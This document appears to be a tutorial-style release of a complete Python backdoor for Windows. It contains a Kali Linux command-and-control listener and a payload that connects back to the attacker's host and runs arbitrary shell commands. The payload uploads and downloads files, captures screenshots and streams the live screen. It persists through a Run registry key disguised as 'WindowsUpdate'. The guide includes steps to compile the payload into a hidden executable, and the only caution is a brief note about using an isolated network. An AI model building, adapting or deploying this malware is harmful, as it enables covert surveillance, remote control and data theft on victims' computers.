Python Windows Backdoor Framework

1. Listener (Kali Linux)

```
import socket
import struct
import cv2
import numpy as np
import os

HOST = "0.0.0.0"
PORT = 4444

def reliable_send(conn, data):
    data = data.encode()
    conn.send(struct.pack('>I', len(data)) + data)

def reliable_recv(conn):
    data_len = struct.unpack('>I', conn.recv(4))[0]
    return conn.recv(data_len).decode()

def recvall(sock, count):
    buf = b''
    while len(buf) < count:
        newbuf = sock.recv(count - len(buf))
        if not newbuf:
            return None
        buf += newbuf
    return buf

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen(1)
print(f"[+] Listening on {PORT}...")
conn, addr = server.accept()
print(f"[+] Connection from {addr}")

while True:
    command = input("C2> ")

    reliable_send(conn, command)
```

```
if command.lower() == "exit":
    conn.close()
    break

elif command.startswith("download "):
    filename = command.split(" ", 1)[1]
    with open(filename, "wb") as f:
        data_len = struct.unpack('>I', recvall(conn, 4))[0]
        f.write(recvall(conn, data_len))
    print(f"[+] File {filename} downloaded.")

elif command.startswith("upload "):
    filename = command.split(" ", 1)[1]
    with open(filename, "rb") as f:
        data = f.read()
        conn.send(struct.pack('>I', len(data)) + data)
    print(f"[+] File {filename} uploaded.")

elif command == "screenshot":
    with open("screenshot.png", "wb") as f:
        data_len = struct.unpack('>I', recvall(conn, 4))[0]
        f.write(recvall(conn, data_len))
    print("[+] Screenshot saved as screenshot.png.")

elif command == "livescreen":
    start_signal = conn.recv(5)
    if start_signal != b"START":
        print("[-] Failed to start stream.")
        continue

    print("[+] Live screen started. Press Q to stop.")
    try:
        while True:
            frame_len = struct.unpack('>I', recvall(conn, 4))[0]
            frame_data = recvall(conn, frame_len)
            img_array = np.frombuffer(frame_data, np.uint8)
            frame = cv2.imdecode(img_array, cv2.IMREAD_COLOR)

            if frame is None:
                print("[-] Received empty frame, skipping...")
                continue

            cv2.imshow("Live Screen", frame)
```

```
                if cv2.waitKey(1) & 0xFF == ord('q'):
                    conn.send(b"STOP")
                    cv2.destroyAllWindows()
                    break
        except KeyboardInterrupt:
            conn.send(b"STOP")
            cv2.destroyAllWindows()

    else:
        result = reliable_recv(conn)
        print(result)
```

2. Windows Payload

```
import socket
import subprocess
import os
import struct
import pyautogui
import shutil
import time
import io

HOST = "KALI_IP"  # Replace with your Kali IP
PORT = 4444

def reliable_send(s, data):
    data = data.encode()
    s.send(struct.pack('>I', len(data)) + data)

def reliable_recv(s):
    data_len = struct.unpack('>I', s.recv(4))[0]
    return s.recv(data_len).decode()

def persistence():
    try:
        path = os.environ["APPDATA"] + "\\WindowsPayload.exe"
        if not os.path.exists(path):
            shutil.copyfile(os.path.abspath(__file__), path)
            os.system(f'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d "{path}"')
    except:
        pass

def handle_command(s, command):
    if command.lower() == "exit":
        s.close()
        return False

    elif command.startswith("cd "):
        try:
            os.chdir(command[3:])
            reliable_send(s, "Changed directory.")
        except:
            reliable_send(s, "Failed to change directory.")

    elif command.strip() == "ls":
        output = subprocess.getoutput("dir")
        reliable_send(s, output)

    elif command.startswith("download "):
        filename = command.split(" ", 1)[1]
        try:
            with open(filename, "rb") as f:
                data = f.read()
                s.send(struct.pack('>I', len(data)) + data)
        except:
            s.send(struct.pack('>I', 0) + b"")

    elif command.startswith("upload "):
        filename = command.split(" ", 1)[1]
        data_len = struct.unpack('>I', s.recv(4))[0]
        file_data = b''
        while len(file_data) < data_len:
            file_data += s.recv(data_len - len(file_data))
        with open(filename, "wb") as f:
            f.write(file_data)

    elif command == "screenshot":
        screenshot = pyautogui.screenshot()
        screenshot.save("temp.png")
        with open("temp.png", "rb") as f:
            data = f.read()
            s.send(struct.pack('>I', len(data)) + data)
        os.remove("temp.png")
    elif command == "livescreen":
        s.send(b"START")
        while True:
            screenshot = pyautogui.screenshot()
            buffer = io.BytesIO()
            screenshot.save(buffer, format="JPEG", quality=50)
            img_data = buffer.getvalue()
            buffer.close()

            s.send(struct.pack('>I', len(img_data)) + img_data)

            s.settimeout(0.1)
            try:
                stop_signal = s.recv(5).decode()
                if stop_signal == "STOP":
                    s.settimeout(None)
                    break
            except:
                continue

    else:
        output = subprocess.getoutput(command)
        reliable_send(s, output)
    return True

def connect():
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((HOST, PORT))

            while True:
                command = reliable_recv(s)
                if not handle_command(s, command):
                    break
        except:
            time.sleep(5)

# Enable persistence
persistence()
connect()
```

3. Setup & Usage Guide

Follow these steps to set up and run the Python Windows Backdoor Framework:

1. On Kali Linux (attacker machine):
   - Install dependencies:
     ```bash
     pip install opencv-python numpy
     ```
   - Run the listener:
     ```bash
     python3 c2_listener.py
     ```

2. On Windows target machine:
   - Install dependencies:
     ```bash
     pip install pyautogui pillow
     ```
   - Convert the payload to an EXE file:
     ```bash
     pyinstaller --onefile --noconsole payload.py
     ```
   - Execute the generated `WindowsPayload.exe`.

3. Available commands in the C2 shell:
   - `ls` – List files in the current directory.
   - `cd <directory>` – Change directory.
   - `upload <filename>` – Upload a file to the target.
   - `download <filename>` – Download a file from the target.
   - `screenshot` – Take a screenshot and save as `screenshot.png`.
   - `livescreen` – View the live screen (press `Q` to stop).
   - `exit` – Close the connection.

4. Important Notes:
   - Run in a closed, isolated network (VirtualBox or VMware recommended).
   - Ensure Python 3.x is installed on both machines.